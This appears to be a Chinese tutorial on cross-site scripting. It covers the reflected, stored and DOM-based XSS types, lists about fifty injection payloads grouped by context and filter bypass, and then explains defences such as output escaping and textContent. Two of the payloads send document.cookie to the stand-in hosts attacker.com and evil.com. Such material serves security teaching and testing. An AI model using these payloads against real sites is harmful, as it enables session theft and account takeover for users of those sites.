目录
前言
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
常用的XSS攻击手段和目的
1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
分类
反射型
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
payload集合
1.反射型 XSS Payload(适用于 URL 参数注入)
使用场景:参数拼接到 HTML 页面中,如:
https://vuln.site/page?msg=这里插入payload
1. <script>alert(1)</script> <!-- 最基础 -->
2. <img src=x onerror=alert(1)> <!-- 常用绕过方式 -->
3. <svg/onload=alert(1)> <!-- SVG标签执行JS -->
4. <body onload=alert(1)> <!-- body事件触发 -->
5. <iframe src="javascript:alert(1)"></iframe> <!-- iframe协议注入 -->
6. <a href="javascript:alert(1)">Click</a> <!-- 链接劫持 -->
7. <details open ontoggle=alert(1)> <!-- HTML5新标签触发 -->
8. <math><mtext><img src=x onerror=alert(1)></mtext></math> <!-- 利用MathML结构绕过 -->
9. <script>location='//attacker.com/?c='+document.cookie</script> <!-- Cookie 窃取演示 -->
10. <script>alert(String.fromCharCode(88,83,83))</script> <!-- 字符编码绕过 `XSS` 关键词 -->
2.DOM型 XSS Payload(基于客户端变量注入)
使用场景:页面使用 document.location
, document.write
, innerHTML
等写入内容时未过滤。 如:example.com/#<payload>
、或脚本中拼接 window.location
1. #<img src=x onerror=alert(1)>
2. #<svg/onload=alert(1)>
3. #<script>alert('DOM')</script>
4. #<iframe src="javascript:alert(1)">
5. #"><img src=x onerror=alert(1)>
6. #"><svg/onload=alert(1)>
7. #"></script><script>alert(1)</script>
8. #</textarea><script>alert(1)</script>
9. #<math><mtext><img src=x onerror=alert(1)>
10. #<a href="javascript:alert(1)">X</a>
适用于 document.write(location.hash)
/ innerHTML = decodeURIComponent(location.hash)
4.HTML 属性上下文注入(如 src, href, onload, style)
使用场景:payload 注入到 HTML 属性中,如:
<img src="{{payload}}"> 或 <a href="{{payload}}">
1. javascript:alert(1) <!-- 基础href注入 -->
2. " onerror="alert(1) <!-- 属性中断并注入事件 -->
3. ' onerror=alert(1)// <!-- 单引号闭合攻击 -->
4. " onmouseover=alert(1) x=" <!-- 鼠标事件 -->
5. data:text/html,<script>alert(1)</script> <!-- data协议执行 -->
6. javascript:alert(1) <!-- 编码绕过 -->
7. " style="background-image:url(javascript:alert(1)) <!-- CSS协议劫持 -->
8. " autofocus onfocus=alert(1) <!-- 表单聚焦触发 -->
9. x" src="x" onerror="alert(1) <!-- 双属性干扰 -->
10. javascript:/*--><script>alert(1)</script> <!-- 标签嵌套干扰 -->
4.存储型 XSS Payload(用于富文本、评论区等)
使用场景:攻击者提交的内容被存储后,被其他用户加载时执行。
1. <script>alert("StoredXSS")</script>
2. <img src=x onerror=alert("Stored")>
3. <svg/onload=alert("Stored")>
4. <div onclick=alert(1)>点击这里</div>
5. <a href="javascript:alert('XSS')">点我</a>
6. <textarea autofocus onfocus=alert(1)>X</textarea>
7. <video><source onerror="alert('x')"></video>
8. <style>@keyframes x{}</style><div style="animation-name:x" onanimationstart=alert(1)></div>
9. <form onsubmit=alert(1)><input type=submit></form>
10. <iframe srcdoc="<script>alert(1)</script>"></iframe>
5.高级浏览器技巧 / 利用特性执行(兼容性攻击)
使用场景:绕过过滤器 / IE 特性 / 特殊API
1. <xml><script><![CDATA[alert(1)]]></script></xml> <!-- 兼容IE -->
2. <script>eval('ale'+'rt(1)')</script> <!-- 拼接绕过检测 -->
3. <script>setTimeout('alert(1)')</script> <!-- 延迟触发 -->
4. <meta http-equiv="refresh" content="0;url=javascript:alert(1)"> <!-- 元刷新攻击 -->
5. <script src="data:text/javascript,alert(1)"></script> <!-- data协议 -->
6. <object data="javascript:alert(1)"></object> <!-- object协议劫持 -->
7. <embed src="javascript:alert(1)"> <!-- embed标签执行 -->
8. <script>window </script> <!-- 动态属性调用 -->
9. <script>Function('ale'+'rt(1)')()</script> <!-- 构造函数执行 -->
10. <script>fetch('https://evil.com/'+document.cookie)</script> <!-- 高级数据窃取 -->
如何防御
1.HTML 文本上下文
用户输入被输出到页面 HTML 中:
<!-- 错误:直接拼接 -->
<div>欢迎 {{username}}</div>
<!-- 正确:转义特殊字符 -->
<div>欢迎 {{ escape(username) }}</div>
应转义字符:
<
→<
>
→>
"
→"
'
→'
/
→/
2.HTML 属性上下文
输出到 <img src="...">
, <a href="...">
中:
<!-- 错误 -->
<img src="{{user_avatar}}">
<!-- 正确 -->
<img src="{{ escape(user_avatar) }}">
建议:使用框架或模板引擎自动编码,如:
Django:
{{ user|escape }}
Handlebars:
{{{variable}}}
vs{{variable}}
(后者自动转义)
3.JavaScript 上下文
输入拼接进 <script>
标签或事件处理器中:
<!-- 错误:拼接执行 -->
<script>var name = '{{username}}';</script>
<!-- 正确:使用 JSON.stringify -->
<script>var name = {{ username | tojson }};</script>
永远避免拼接 JS 代码
4.URL / href / JavaScript 协议
用户输入控制了跳转链接或 iframe/src:
<!-- 错误 -->
<a href="{{url}}">跳转</a>
<!-- 正确 -->
<a href="/safe-page">跳转</a> <!-- 后端限制可跳转目标 -->
检查 scheme 是否为 http(s),拒绝 javascript:
, data:
5.DOM 操作防御
前端 JS 使用 innerHTML
等写入:
// 错误
element.innerHTML = location.hash;
// 正确
element.textContent = location.hash;
避免使用:
innerHTML
document.write
eval
,Function
,setTimeout('...')
使用:
textContent
createElement + appendChild